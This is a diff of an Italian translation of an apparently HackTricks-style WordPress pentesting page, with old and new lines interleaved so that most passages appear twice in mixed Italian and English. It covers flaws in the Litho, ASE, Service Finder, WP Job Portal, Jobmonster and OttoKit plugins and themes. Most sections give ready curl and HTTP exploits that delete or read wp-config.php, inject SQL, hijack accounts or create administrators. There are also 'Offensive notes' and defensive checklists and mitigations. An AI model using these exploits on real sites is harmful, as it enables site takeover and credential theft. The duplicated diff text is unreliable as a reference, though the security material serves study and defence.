| - WordPress core si aspetta la capability `create_users` per questa route; l'hack del plugin la bypassa impostando direttamente il contesto dell'utente corrente dal header. | ||||
| - Il plugin mappa un header controllato dal client allo stato di autenticazione e salta i controlli di capability. | ||||
| - Il core di WordPress si aspetta la capability `create_users` per questa route; l'hack del plugin la bypassa impostando direttamente il contesto dell'utente corrente dall'header. | ||||
| 
 | ||||
| Indicatori di successo attesi | ||||
| 
 | ||||
| - HTTP 201 con un body JSON che descrive l'utente creato. | ||||
| - Un nuovo utente admin visibile in `wp-admin/users.php`. | ||||
| 
 | ||||
| Lista di controllo per il rilevamento | ||||
| Checklist di rilevamento | ||||
| 
 | ||||
| - Grep per `getallheaders()`, `$_SERVER['HTTP_...']`, o vendor SDKs che leggono header personalizzati per impostare il contesto utente (es. `wp_set_current_user()`, `wp_set_auth_cookie()`). | ||||
| - Revisionare le registrazioni REST per callback privilegiate che non hanno controlli `permission_callback` robusti e che si affidano invece agli header della richiesta. | ||||
| - Cercare l'uso di funzioni core di gestione utenti (`wp_insert_user`, `wp_create_user`) all'interno di handler REST che sono protette solo da valori di header. | ||||
| - Cerca con grep `getallheaders()`, `$_SERVER['HTTP_...']`, o vendor SDKs che leggono header personalizzati per impostare il contesto utente (es. `wp_set_current_user()`, `wp_set_auth_cookie()`). | ||||
| - Revisiona le registrazioni REST per callback privilegiate che non hanno controlli robusti di `permission_callback` e invece si affidano agli header della richiesta. | ||||
| - Cerca utilizzi delle funzioni core di gestione utenti (`wp_insert_user`, `wp_create_user`) all'interno di handler REST che sono protetti solo da valori di header. | ||||
| 
 | ||||
| Mitigazioni | ||||
| ### Cancellazione arbitraria di file non autenticata via wp_ajax_nopriv (Litho Theme <= 3.0) | ||||
| 
 | ||||
| - Non derivare mai autenticazione o autorizzazione da header controllati dal client. | ||||
| - Se un reverse proxy deve inserire l'identità, terminare la fiducia al proxy e rimuovere le copie inbound (es. `unset X-Wcpay-Platform-Checkout-User` at the edge), poi passare un token firmato e verificarlo lato server. | ||||
| - Per le route REST che eseguono azioni privilegiate, richiedere controlli con `current_user_can()` e un `permission_callback` rigoroso (do NOT use `__return_true`). | ||||
| - Preferire auth first-party (cookies, application passwords, OAuth) rispetto all'“impersonation” via header. | ||||
| WordPress themes e plugin frequentemente espongono handler AJAX tramite gli hook `wp_ajax_` e `wp_ajax_nopriv_`. Quando la variante **_nopriv_** è usata **il callback diventa raggiungibile da visitatori non autenticati**, quindi qualsiasi azione sensibile deve implementare inoltre: | ||||
| 
 | ||||
| Riferimenti: vedere i link alla fine di questa pagina per un caso pubblico e un'analisi più ampia. | ||||
| 
 | ||||
| ### Eliminazione Arbitraria di File non Autenticata via wp_ajax_nopriv (Litho Theme <= 3.0) | ||||
| 
 | ||||
| I theme e plugin WordPress espongono frequentemente handler AJAX tramite gli hook `wp_ajax_` e `wp_ajax_nopriv_`. Quando la variante **_nopriv_** viene utilizzata **la callback diventa raggiungibile da visitatori non autenticati**, quindi qualsiasi azione sensibile deve inoltre implementare: | ||||
| 
 | ||||
| 1. Un **controllo delle capability** (es. `current_user_can()` o almeno `is_user_logged_in()`), e | ||||
| 1. Un **controllo di capability** (es. `current_user_can()` o almeno `is_user_logged_in()`), e | ||||
| 2. Un **CSRF nonce** validato con `check_ajax_referer()` / `wp_verify_nonce()`, e | ||||
| 3. **Sanitizzazione / validazione rigorosa degli input**. | ||||
| 3. **Stretta sanitizzazione / validazione degli input**. | ||||
| 
 | ||||
| Il tema multipurpose Litho (< 3.1) si è dimenticato di implementare questi 3 controlli nella funzionalità *Remove Font Family* e ha finito per distribuire il seguente codice (semplificato): | ||||
| Il tema multipurpose Litho (< 3.1) si è dimenticato di questi 3 controlli nella feature *Remove Font Family* e ha finito per includere il seguente codice (semplificato): | ||||
| ```php | ||||
| function litho_remove_font_family_action_data() { | ||||
| if ( empty( $_POST['fontfamily'] ) ) { | ||||
| @ -445,58 +436,35 @@ add_action( 'wp_ajax_nopriv_litho_remove_font_family_action_data', 'litho_remove | ||||
| ``` | ||||
| Problemi introdotti da questo snippet: | ||||
| 
 | ||||
| * **Unauthenticated access** – l'hook `wp_ajax_nopriv_` è registrato. | ||||
| * **No nonce / capability check** – qualunque visitatore può raggiungere l'endpoint. | ||||
| * **No path sanitisation** – la stringa `fontfamily` controllata dall'utente viene concatenata a un percorso del filesystem senza filtraggio, permettendo il classico `../../` traversal. | ||||
| * **Accesso non autenticato** – l'hook `wp_ajax_nopriv_` è registrato. | ||||
| * **Nessun controllo nonce / capability** – qualsiasi visitatore può raggiungere l'endpoint. | ||||
| * **Nessuna sanitizzazione del percorso** – la stringa controllata dall'utente `fontfamily` viene concatenata a un percorso del filesystem senza filtraggio, permettendo il classico traversal `../../`. | ||||
| 
 | ||||
| #### Exploitation | ||||
| #### Sfruttamento | ||||
| 
 | ||||
| Un attaccante può eliminare qualsiasi file o directory **sotto la directory base uploads** (normalmente `<wp-root>/wp-content/uploads/`) inviando una singola richiesta HTTP POST: | ||||
| Un attaccante può eliminare qualsiasi file o directory **al di sotto della directory base degli uploads** (normalmente `<wp-root>/wp-content/uploads/`) inviando una singola HTTP POST request: | ||||
| ```bash | ||||
| curl -X POST https://victim.com/wp-admin/admin-ajax.php \ | ||||
| -d 'action=litho_remove_font_family_action_data' \ | ||||
| -d 'fontfamily=../../../../wp-config.php' | ||||
| ``` | ||||
| Poiché `wp-config.php` si trova al di fuori di *uploads*, quattro sequenze `../` sono sufficienti in un'installazione predefinita. Eliminando `wp-config.php` si forza WordPress nella *procedura di installazione* alla visita successiva, consentendo un takeover completo del sito (l'attaccante fornisce semplicemente una nuova configurazione DB e crea un utente admin). | ||||
| Poiché `wp-config.php` si trova al di fuori di *uploads*, quattro sequenze `../` sono sufficienti in un'installazione predefinita. Eliminando `wp-config.php` WordPress viene forzato nella *procedura guidata d'installazione* al prossimo accesso, permettendo un takeover completo del sito (l'attaccante fornisce semplicemente una nuova configurazione DB e crea un utente admin). | ||||
| 
 | ||||
| Altri target impattanti includono file `.php` di plugin/theme (per compromettere plugin di sicurezza) o regole `.htaccess`. | ||||
| 
 | ||||
| #### Detection checklist | ||||
| #### Checklist di rilevamento | ||||
| 
 | ||||
| * Qualsiasi callback `add_action( 'wp_ajax_nopriv_...')` che invoca helper del filesystem (`copy()`, `unlink()`, `$wp_filesystem->delete()`, ecc.). | ||||
| * Qualsiasi callback `add_action( 'wp_ajax_nopriv_...')` che chiama helper del filesystem (`copy()`, `unlink()`, `$wp_filesystem->delete()`, etc.). | ||||
| * Concatenazione di input utente non sanitizzato nei path (cerca `$_POST`, `$_GET`, `$_REQUEST`). | ||||
| * Assenza di `check_ajax_referer()` e `current_user_can()`/`is_user_logged_in()`. | ||||
| 
 | ||||
| #### Hardening | ||||
| ```php | ||||
| function secure_remove_font_family() { | ||||
| if ( ! is_user_logged_in() ) { | ||||
| wp_send_json_error( 'forbidden', 403 ); | ||||
| } | ||||
| check_ajax_referer( 'litho_fonts_nonce' ); | ||||
| 
 | ||||
| $fontfamily = sanitize_file_name( wp_unslash( $_POST['fontfamily'] ?? '' ) ); | ||||
| $srcdir = trailingslashit( wp_upload_dir()['basedir'] ) . 'litho-fonts/' . $fontfamily; | ||||
| 
 | ||||
| if ( ! str_starts_with( realpath( $srcdir ), realpath( wp_upload_dir()['basedir'] ) ) ) { | ||||
| wp_send_json_error( 'invalid path', 400 ); | ||||
| } | ||||
| // … proceed … | ||||
| } | ||||
| add_action( 'wp_ajax_litho_remove_font_family_action_data', 'secure_remove_font_family' ); | ||||
| //  🔒  NO wp_ajax_nopriv_ registration | ||||
| ``` | ||||
| > [!TIP] | ||||
| > **Sempre** tratta qualsiasi operazione di scrittura/cancellazione su disco come privilegiata e verifica due volte: | ||||
| > • Authentication  • Authorisation  • Nonce  • Input sanitisation  • Path containment (e.g. via `realpath()` plus `str_starts_with()`). | ||||
| 
 | ||||
| --- | ||||
| 
 | ||||
| ### Privilege escalation via ripristino di ruoli obsoleti e autorizzazione mancante (ASE "View Admin as Role") | ||||
| ### Escalation di privilegi tramite ripristino di ruoli obsoleti e autorizzazione mancante (ASE "View Admin as Role") | ||||
| 
 | ||||
| Molti plugin implementano una funzionalità "view as role" o di cambio temporaneo di ruolo salvando i ruoli originali negli user meta in modo che possano essere ripristinati in seguito. Se il percorso di ripristino si basa solo sui parametri della request (e.g., `$_REQUEST['reset-for']`) e su una lista mantenuta dal plugin senza verificare le capability e un nonce valido, questo diventa una vertical privilege escalation. | ||||
| Molti plugin implementano una funzionalità "view as role" o di cambio temporaneo di ruolo salvando il(i) ruolo(i) originale(i) in user meta in modo da poterli ripristinare successivamente. Se il percorso di ripristino si basa solo su parametri di richiesta (es., `$_REQUEST['reset-for']`) e su una lista mantenuta dal plugin senza verificare le capabilities e un nonce valido, questo si trasforma in una escalation di privilegi verticale. | ||||
| 
 | ||||
| Un esempio reale è stato trovato nel plugin Admin and Site Enhancements (ASE) (≤ 7.6.2.1). Il ramo di reset ripristinava i ruoli basandosi su `reset-for=<username>` se il nome utente compariva in un array interno `$options['viewing_admin_as_role_are']`, ma non eseguiva né un controllo `current_user_can()` né una verifica del nonce prima di rimuovere i ruoli correnti e riaggiungere i ruoli salvati negli user meta `_asenha_view_admin_as_original_roles`: | ||||
| Un esempio reale è stato trovato nel plugin Admin and Site Enhancements (ASE) (≤ 7.6.2.1). Il ramo di reset ripristinava i ruoli basandosi su `reset-for=<username>` se il nome utente compariva in un array interno `$options['viewing_admin_as_role_are']`, ma non effettuava né un controllo `current_user_can()` né una verifica del nonce prima di rimuovere i ruoli correnti e riaggiungere i ruoli salvati da user meta `_asenha_view_admin_as_original_roles`: | ||||
| ```php | ||||
| // Simplified vulnerable pattern | ||||
| if ( isset( $_REQUEST['reset-for'] ) ) { | ||||
| @ -513,15 +481,9 @@ foreach ( $orig as $r ) { $u->add_role( $r ); } | ||||
| ``` | ||||
| Perché è sfruttabile | ||||
| 
 | ||||
| - Si fida di `$_REQUEST['reset-for']` e di un'opzione del plugin senza autorizzazione lato server. | ||||
| - Se un utente in precedenza aveva privilegi più elevati salvati in `_asenha_view_admin_as_original_roles` ed è stato declassato, può ripristinarli visitando il percorso di reset. | ||||
| - In alcune installazioni, qualsiasi utente autenticato potrebbe avviare un reset per un altro username ancora presente in `viewing_admin_as_role_are` (autorizzazione non corretta). | ||||
| 
 | ||||
| Prerequisiti dell'attacco | ||||
| 
 | ||||
| - Versione del plugin vulnerabile con la funzionalità abilitata. | ||||
| - L'account target ha un ruolo di alto privilegio obsoleto memorizzato nei user meta da un uso precedente. | ||||
| - Qualsiasi sessione autenticata; mancanza di nonce/capability nel flusso di reset. | ||||
| - Si affida a `$_REQUEST['reset-for']` e a un'opzione del plugin senza autorizzazione lato server. | ||||
| - Se un utente aveva precedentemente privilegi più elevati salvati in `_asenha_view_admin_as_original_roles` e poi è stato declassato, può ripristinarli richiamando il percorso di reset. | ||||
| - In alcune installazioni, qualsiasi utente autenticato potrebbe innescare un reset per un altro username ancora presente in `viewing_admin_as_role_are` (autorizzazione difettosa). | ||||
| 
 | ||||
| Sfruttamento (esempio) | ||||
| ```bash | ||||
| @ -531,36 +493,23 @@ Sfruttamento (esempio) | ||||
| curl -s -k -b 'wordpress_logged_in=...' \ | ||||
| 'https://victim.example/wp-admin/?reset-for=<your_username>' | ||||
| ``` | ||||
| Nelle build vulnerabili questo rimuove i ruoli correnti e riaggiunge i ruoli originali salvati (es., `administrator`), causando di fatto un'escalation di privilegi. | ||||
| Sulle build vulnerabili questo rimuove i ruoli correnti e riaggiunge i ruoli originali salvati (es., `administrator`), escalando effettivamente i privilegi. | ||||
| 
 | ||||
| Checklist di rilevamento | ||||
| Detection checklist | ||||
| 
 | ||||
| - Cerca funzionalità di role-switching che persistono gli “original roles” nei user meta (es., `_asenha_view_admin_as_original_roles`). | ||||
| - Cerca funzionalità di role-switching che persistono “original roles” in user meta (es., `_asenha_view_admin_as_original_roles`). | ||||
| - Individua percorsi di reset/restore che: | ||||
| - Leggono username da `$_REQUEST` / `$_GET` / `$_POST`. | ||||
| - Modificano ruoli tramite `add_role()` / `remove_role()` senza `current_user_can()` e `wp_verify_nonce()` / `check_admin_referer()`. | ||||
| - Autorizzano basandosi su un array di opzioni del plugin (es., `viewing_admin_as_role_are`) invece che sulle capability dell'attore. | ||||
| 
 | ||||
| Mitigazioni | ||||
| 
 | ||||
| - Applicare controlli sulle capability in ogni ramo che modifica lo stato (es., `current_user_can('manage_options')` o più restrittivo). | ||||
| - Richiedere nonces per tutte le mutazioni di ruoli/permessi e verificarli: `check_admin_referer()` / `wp_verify_nonce()`. | ||||
| - Non fidarsi mai di username forniti dalla request; risolvere l'utente target lato server basandosi sull'attore autenticato e su una policy esplicita. | ||||
| - Invalidare lo stato degli “original roles” durante aggiornamenti di profile/ruolo per evitare il ripristino di privilegi elevati obsoleti: | ||||
| ```php | ||||
| add_action( 'profile_update', function( $user_id ) { | ||||
| delete_user_meta( $user_id, '_asenha_view_admin_as_original_roles' ); | ||||
| }, 10, 1 ); | ||||
| ``` | ||||
| - Valuta di conservare uno stato minimo e di usare token a tempo limitato e protetti da capability per switch temporanei di ruolo. | ||||
| - Read usernames from `$_REQUEST` / `$_GET` / `$_POST`. | ||||
| - Modify roles via `add_role()` / `remove_role()` without `current_user_can()` and `wp_verify_nonce()` / `check_admin_referer()`. | ||||
| - Authorize based on a plugin option array (es., `viewing_admin_as_role_are`) instead of the actor’s capabilities. | ||||
| 
 | ||||
| --- | ||||
| 
 | ||||
| ### Unauthenticated privilege escalation via cookie‑trusted user switching on public init (Service Finder “sf-booking”) | ||||
| 
 | ||||
| Alcuni plugin collegano user-switching helpers al public `init` hook e ricavano l'identità da un cookie controllato dal client. Se il codice chiama `wp_set_auth_cookie()` senza verificare authentication, capability e un nonce valido, qualsiasi visitatore non autenticato può forzare il login come un arbitrario user ID. | ||||
| Alcuni plugin collegano helper di user-switching all'hook pubblico `init` e ricavano l'identità da un cookie controllato dal client. Se il codice chiama `wp_set_auth_cookie()` senza verificare autenticazione, capability e un nonce valido, qualsiasi visitatore non autenticato può forzare il login come un ID utente arbitrario. | ||||
| 
 | ||||
| Pattern tipico vulnerabile (semplificato da Service Finder Bookings ≤ 6.1): | ||||
| Typical vulnerable pattern (simplified from Service Finder Bookings ≤ 6.1): | ||||
| ```php | ||||
| function service_finder_submit_user_form(){ | ||||
| if ( isset($_GET['switch_user']) && is_numeric($_GET['switch_user']) ) { | ||||
| @ -591,11 +540,11 @@ wp_die('No original user found to switch back to.'); | ||||
| ``` | ||||
| Perché è sfruttabile | ||||
| 
 | ||||
| - Il hook pubblico `init` rende il handler raggiungibile da utenti non autenticati (nessun controllo `is_user_logged_in()`). | ||||
| - L'identità è derivata da un cookie modificabile dal client (`original_user_id`). | ||||
| - Una chiamata diretta a `wp_set_auth_cookie($uid)` effettua il login del richiedente come quell'utente senza controlli di capability/nonce. | ||||
| - Il hook pubblico `init` rende l'handler raggiungibile da utenti non autenticati (nessun controllo `is_user_logged_in()`). | ||||
| - L'identità viene ricavata da un cookie modificabile dal client (`original_user_id`). | ||||
| - La chiamata diretta a `wp_set_auth_cookie($uid)` effettua il login del richiedente come quell'utente senza alcun controllo di capability/nonce. | ||||
| 
 | ||||
| Exploitation (unauthenticated) | ||||
| Sfruttamento (non autenticato) | ||||
| ```http | ||||
| GET /?switch_back=1 HTTP/1.1 | ||||
| Host: victim.example | ||||
| @ -605,22 +554,22 @@ Connection: close | ||||
| ``` | ||||
| --- | ||||
| 
 | ||||
| ### Considerazioni sul WAF per i CVE di WordPress/plugin | ||||
| ### Considerazioni WAF per WordPress/plugin CVEs | ||||
| 
 | ||||
| I WAF edge/server generici sono tarati per pattern ampi (SQLi, XSS, LFI). Molte vulnerabilità ad alto impatto di WordPress/plugin sono bug di logica dell'applicazione o di auth che appaiono come traffico benigno a meno che il motore non comprenda le route di WordPress e la semantica dei plugin. | ||||
| I WAF edge/server generici sono tarati per pattern ampi (SQLi, XSS, LFI). Molte vulnerabilità ad alto impatto in WordPress/plugin sono bug di logica/autenticazione specifici dell'applicazione che appaiono come traffico benigno a meno che il motore non comprenda le route di WordPress e la semantica dei plugin. | ||||
| 
 | ||||
| Offensive notes | ||||
| 
 | ||||
| - Mira agli endpoint specifici del plugin con payload puliti: `admin-ajax.php?action=...`, `wp-json/<namespace>/<route>`, custom file handlers, shortcodes. | ||||
| - Esegui prima i percorsi non autenticati (AJAX `nopriv`, REST con permissive `permission_callback`, public shortcodes). I payload di default spesso funzionano senza offuscamento. | ||||
| - Mirare agli endpoint specifici dei plugin con payload puliti: `admin-ajax.php?action=...`, `wp-json/<namespace>/<route>`, custom file handlers, shortcodes. | ||||
| - Provare prima i percorsi non autenticati (AJAX `nopriv`, REST con permissive `permission_callback`, shortcodes pubblici). I payload di default spesso riescono senza obfuscazione. | ||||
| - Casi tipici ad alto impatto: privilege escalation (broken access control), arbitrary file upload/download, LFI, open redirect. | ||||
| 
 | ||||
| Defensive notes | ||||
| 
 | ||||
| - Non fare affidamento su firme WAF generiche per proteggere i CVE dei plugin. Implementa patch virtuali a livello applicazione specifiche per la vulnerabilità o aggiorna rapidamente. | ||||
| - Preferisci controlli di sicurezza in modalità positiva nel codice (capabilities, nonces, strict input validation) piuttosto che filtri negativi basati su regex. | ||||
| - Non fare affidamento sulle signature generiche del WAF per proteggere CVE dei plugin. Implementa patch virtuali a livello applicativo specifiche per la vulnerabilità o aggiorna rapidamente. | ||||
| - Preferisci controlli positive-security nel codice (capabilities, nonces, validazione rigorosa degli input) rispetto a filtri regex negativi. | ||||
| 
 | ||||
| ## Protezione di WordPress | ||||
| ## Protezione WordPress | ||||
| 
 | ||||
| ### Aggiornamenti regolari | ||||
| 
 | ||||
| @ -640,16 +589,16 @@ Inoltre, **installa solo plugin e temi WordPress affidabili**. | ||||
| 
 | ||||
| ### **Altre raccomandazioni** | ||||
| 
 | ||||
| - **Rimuovi** l'utente predefinito **admin** | ||||
| - **Usa** **password complesse** e **2FA** | ||||
| - **Rivedi** periodicamente i **permessi** degli utenti | ||||
| - **Limita i tentativi di login** per prevenire attacchi Brute Force | ||||
| - Rinomina il file **`wp-admin.php`** e consenti l'accesso solo internamente o da alcuni indirizzi IP. | ||||
| - Rimuovere l'utente predefinito **admin** | ||||
| - Usare **password forti** e **2FA** | ||||
| - Periodicamente **rivedere** i **permessi** degli utenti | ||||
| - **Limitare i tentativi di login** per prevenire attacchi Brute Force | ||||
| - Rinomina il file **`wp-admin.php`** e consenti l'accesso solo internamente o da determinati indirizzi IP. | ||||
| 
 | ||||
| 
 | ||||
| ### SQL Injection non autenticata tramite validazione insufficiente (WP Job Portal <= 2.3.2) | ||||
| ### Unauthenticated SQL Injection via insufficient validation (WP Job Portal <= 2.3.2) | ||||
| 
 | ||||
| Il plugin di recruitment WP Job Portal esponeva un task **savecategory** che alla fine esegue il seguente codice vulnerabile all'interno di `modules/category/model.php::validateFormData()`: | ||||
| Il plugin WP Job Portal recruitment esponeva un task **savecategory** che, in definitiva, esegue il seguente codice vulnerabile all'interno di `modules/category/model.php::validateFormData()`: | ||||
| ```php | ||||
| $category  = WPJOBPORTALrequest::getVar('parentid'); | ||||
| $inquery   = ' '; | ||||
| @ -661,17 +610,17 @@ $query  = "SELECT max(ordering)+1 AS maxordering FROM " | ||||
| ``` | ||||
| Problemi introdotti da questo snippet: | ||||
| 
 | ||||
| 1. **Input utente non sanitizzato** – `parentid` proviene direttamente dalla richiesta HTTP. | ||||
| 2. **Concatenazione di stringhe nella clausola WHERE** – assenza di `is_numeric()` / `esc_sql()` / prepared statement. | ||||
| 3. **Accessibilità non autenticata** – sebbene l'azione venga eseguita tramite `admin-post.php`, l'unico controllo presente è un **CSRF nonce** (`wp_verify_nonce()`), che qualsiasi visitatore può recuperare da una pagina pubblica che incorpora lo shortcode `[wpjobportal_my_resumes]`. | ||||
| 1. **Unsanitised user input** – `parentid` proviene direttamente dalla richiesta HTTP. | ||||
| 2. **String concatenation inside the WHERE clause** – manca `is_numeric()` / `esc_sql()` / prepared statement. | ||||
| 3. **Unauthenticated reachability** – anche se l'azione è eseguita tramite `admin-post.php`, l'unico controllo in atto è un **CSRF nonce** (`wp_verify_nonce()`), che qualsiasi visitatore può recuperare da una pagina pubblica che incorpora lo shortcode `[wpjobportal_my_resumes]`. | ||||
| 
 | ||||
| #### Sfruttamento | ||||
| 
 | ||||
| 1. Ottenere un nonce valido: | ||||
| 1. Recupera un nonce valido: | ||||
| ```bash | ||||
| curl -s https://victim.com/my-resumes/ | grep -oE 'name="_wpnonce" value="[a-f0-9]+' | cut -d'"' -f4 | ||||
| ``` | ||||
| 2. Iniettare SQL arbitrario abusando di `parentid`: | ||||
| 2. Inietta SQL arbitrario sfruttando `parentid`: | ||||
| ```bash | ||||
| curl -X POST https://victim.com/wp-admin/admin-post.php \ | ||||
| -d 'task=savecategory' \ | ||||
| @ -679,18 +628,18 @@ curl -X POST https://victim.com/wp-admin/admin-post.php \ | ||||
| -d 'parentid=0 OR 1=1-- -' \ | ||||
| -d 'cat_title=pwn' -d 'id=' | ||||
| ``` | ||||
| La risposta rivela il risultato della query iniettata o modifica il database, dimostrando la SQLi. | ||||
| La risposta rivela il risultato della query iniettata o altera il database, dimostrando la presenza di SQLi. | ||||
| 
 | ||||
| 
 | ||||
| ### Unauthenticated Arbitrary File Download / Path Traversal (WP Job Portal <= 2.3.2) | ||||
| 
 | ||||
| Un'altra operazione, **downloadcustomfile**, permetteva ai visitatori di scaricare **qualsiasi file su disco** tramite path traversal. Il sink vulnerabile si trova in `modules/customfield/model.php::downloadCustomUploadedFile()`: | ||||
| Un altro task, **downloadcustomfile**, permetteva ai visitatori di scaricare **qualsiasi file sul disco** tramite path traversal. Il sink vulnerabile si trova in `modules/customfield/model.php::downloadCustomUploadedFile()`: | ||||
| ```php | ||||
| $file = $path . '/' . $file_name; | ||||
| ... | ||||
| echo $wp_filesystem->get_contents($file); // raw file output | ||||
| ``` | ||||
| `$file_name` è controllato dall'attaccante ed è concatenato **senza sanitizzazione**.  Di nuovo, l'unica barriera è un **CSRF nonce** che può essere recuperato dalla pagina del resume. | ||||
| `$file_name` è controllato dall'attaccante e concatenato **senza sanitizzazione**. Di nuovo, l'unica barriera è una **CSRF nonce** che può essere recuperata dalla pagina resume. | ||||
| 
 | ||||
| #### Exploitation | ||||
| ```bash | ||||
| @ -703,7 +652,198 @@ curl -G https://victim.com/wp-admin/admin-post.php \ | ||||
| ``` | ||||
| Il server risponde con il contenuto di `wp-config.php`, leaking DB credentials and auth keys. | ||||
| 
 | ||||
| ## References | ||||
| ## Presa di controllo dell'account non autenticata via Social Login AJAX fallback (Jobmonster Theme <= 4.7.9) | ||||
| 
 | ||||
| Molti temi/plugin forniscono helper per "social login" esposti tramite admin-ajax.php. Se un'azione AJAX non autenticata (wp_ajax_nopriv_...) si fida di identificatori forniti dal client quando i dati del provider mancano e poi chiama wp_set_auth_cookie(), questo diventa un bypass completo dell'autenticazione. | ||||
| 
 | ||||
| Typical flawed pattern (simplified) | ||||
| ```php | ||||
| public function check_login() { | ||||
| // ... request parsing ... | ||||
| switch ($_POST['using']) { | ||||
| case 'fb':     /* set $user_email from verified Facebook token */ break; | ||||
| case 'google': /* set $user_email from verified Google token   */ break; | ||||
| // other providers ... | ||||
| default: /* unsupported/missing provider – execution continues */ break; | ||||
| } | ||||
| 
 | ||||
| // FALLBACK: trust POSTed "id" as email if provider data missing | ||||
| $user_email = !empty($user_email) | ||||
| ? $user_email | ||||
| : (!empty($_POST['id']) ? esc_attr($_POST['id']) : ''); | ||||
| 
 | ||||
| if (empty($user_email)) { | ||||
| wp_send_json(['status' => 'not_user']); | ||||
| } | ||||
| 
 | ||||
| $user = get_user_by('email', $user_email); | ||||
| if ($user) { | ||||
| wp_set_auth_cookie($user->ID, true); // 🔥 logs requester in as that user | ||||
| wp_send_json(['status' => 'success', 'message' => 'Login successfully.']); | ||||
| } | ||||
| wp_send_json(['status' => 'not_user']); | ||||
| } | ||||
| // add_action('wp_ajax_nopriv_<social_login_action>', [$this, 'check_login']); | ||||
| ``` | ||||
| Perché è sfruttabile | ||||
| 
 | ||||
| - Accessibile senza autenticazione tramite admin-ajax.php (azione wp_ajax_nopriv_…). | ||||
| - Nessun controllo di nonce/capability prima della modifica di stato. | ||||
| - Manca la verifica del provider OAuth/OpenID; il ramo di default accetta input dell'attaccante. | ||||
| - get_user_by('email', $_POST['id']) seguito da wp_set_auth_cookie($uid) autentica il richiedente come qualsiasi indirizzo email esistente. | ||||
| 
 | ||||
| Sfruttamento (senza autenticazione) | ||||
| 
 | ||||
| - Prerequisiti: l'attaccante può raggiungere /wp-admin/admin-ajax.php e conosce/indovina un indirizzo email utente valido. | ||||
| - Imposta provider su un valore non supportato (o omettendolo) per raggiungere il ramo di default e inviare id=<victim_email>. | ||||
| ```http | ||||
| POST /wp-admin/admin-ajax.php HTTP/1.1 | ||||
| Host: victim.tld | ||||
| Content-Type: application/x-www-form-urlencoded | ||||
| 
 | ||||
| action=<vulnerable_social_login_action>&using=bogus&id=admin%40example.com | ||||
| ``` | ||||
| 
 | ||||
| ```bash | ||||
| curl -i -s -X POST https://victim.tld/wp-admin/admin-ajax.php \ | ||||
| -d "action=<vulnerable_social_login_action>&using=bogus&id=admin%40example.com" | ||||
| ``` | ||||
| Indicatori di successo attesi | ||||
| 
 | ||||
| - HTTP 200 con body JSON tipo {"status":"success","message":"Login successfully."}. | ||||
| - Set-Cookie: wordpress_logged_in_* per l'utente vittima; le richieste successive sono autenticate. | ||||
| 
 | ||||
| Trovare il nome dell'action | ||||
| 
 | ||||
| - Ispeziona il tema/plugin per registrazioni add_action('wp_ajax_nopriv_...', '...') nel codice di social login (es., framework/add-ons/social-login/class-social-login.php). | ||||
| - Grep per wp_set_auth_cookie(), get_user_by('email', ...) nei gestori AJAX. | ||||
| 
 | ||||
| Checklist di rilevamento | ||||
| 
 | ||||
| - Log web che mostrano POST non autenticati a /wp-admin/admin-ajax.php con l'action social-login e id=<email>. | ||||
| - Risposte 200 con il JSON di successo immediatamente precedenti a traffico autenticato dallo stesso IP/User-Agent. | ||||
| 
 | ||||
| Mitigazioni | ||||
| 
 | ||||
| - Non derivare l'identità dall'input del client. Accetta solo email/ID che provengono da un token/ID del provider validato. | ||||
| - Richiedi CSRF nonces e controlli di capability anche per helper di login; evita di registrare wp_ajax_nopriv_ a meno che non sia strettamente necessario. | ||||
| - Valida e verifica le risposte OAuth/OIDC lato server; rifiuta provider mancanti/invalidi (no fallback a POST id). | ||||
| - Considera la disabilitazione temporanea del social login o un patch virtuale al bordo (bloccare l'action vulnerabile) fino alla risoluzione. | ||||
| 
 | ||||
| Comportamento corretto (Jobmonster 4.8.0) | ||||
| 
 | ||||
| - Rimosso il fallback insicuro da $_POST['id']; $user_email deve provenire dai branch provider verificati in switch($_POST['using']). | ||||
| 
 | ||||
| ## Escalation di privilegi non autenticata tramite emissione di token/chiave REST su identità prevedibile (OttoKit/SureTriggers ≤ 1.0.82) | ||||
| 
 | ||||
| Alcuni plugin espongono endpoint REST che emettono “connection keys” riutilizzabili o token senza verificare le capability del chiamante. Se la route si autentica solo su un attributo indovinabile (es., username) e non lega la chiave a un utente/sessione con controlli di capability, un attaccante non autenticato può emettere una chiave e invocare azioni privilegiate (creazione account admin, azioni del plugin → RCE). | ||||
| 
 | ||||
| - Vulnerable route (example): sure-triggers/v1/connection/create-wp-connection | ||||
| - Flaw: accepts a username, issues a connection key without current_user_can() or a strict permission_callback | ||||
| - Impact: full takeover by chaining the minted key to internal privileged actions | ||||
| 
 | ||||
| PoC – emetti una connection key e usala | ||||
| ```bash | ||||
| # 1) Obtain key (unauthenticated). Exact payload varies per plugin | ||||
| curl -s -X POST "https://victim.tld/wp-json/sure-triggers/v1/connection/create-wp-connection" \ | ||||
| -H 'Content-Type: application/json' \ | ||||
| --data '{"username":"admin"}' | ||||
| # → {"key":"<conn_key>", ...} | ||||
| 
 | ||||
| # 2) Call privileged plugin action using the minted key (namespace/route vary per plugin) | ||||
| curl -s -X POST "https://victim.tld/wp-json/sure-triggers/v1/users" \ | ||||
| -H 'Content-Type: application/json' \ | ||||
| -H 'X-Connection-Key: <conn_key>' \ | ||||
| --data '{"username":"pwn","email":"p@t.ld","password":"p@ss","role":"administrator"}' | ||||
| ``` | ||||
| Perché è sfruttabile | ||||
| - Route REST sensibile protetta solo da una prova di identità a bassa entropia (username) o da permission_callback mancante | ||||
| - Nessun enforcement delle capability; la chiave emessa viene accettata come bypass universale | ||||
| 
 | ||||
| Checklist di rilevamento | ||||
| - Esegui grep sul codice del plugin per register_rest_route(..., [ 'permission_callback' => '__return_true' ]) | ||||
| - Qualsiasi route che emette token/chiavi basate su identità fornita nella richiesta (username/email) senza collegarle a un utente autenticato o a una capability | ||||
| - Cerca route successive che accettano la token/chiave emessa senza controlli di capability lato server | ||||
| 
 | ||||
| Mitigazioni | ||||
| - Per qualsiasi route REST privilegiata: richiedere un permission_callback che applichi current_user_can() per la capability richiesta | ||||
| - Non emettere chiavi a lunga durata basate su identità fornite dal client; se necessario, rilasciare token a breve durata vincolati all'utente dopo l'autenticazione e ricontrollare le capability al momento dell'uso | ||||
| - Valida il contesto utente del chiamante (wp_set_current_user da solo non è sufficiente) e rifiuta le richieste dove !is_user_logged_in() || !current_user_can(<cap>) | ||||
| 
 | ||||
| --- | ||||
| 
 | ||||
| ## Nonce gate misuse → unauthenticated arbitrary plugin installation (FunnelKit Automations ≤ 3.5.3) | ||||
| 
 | ||||
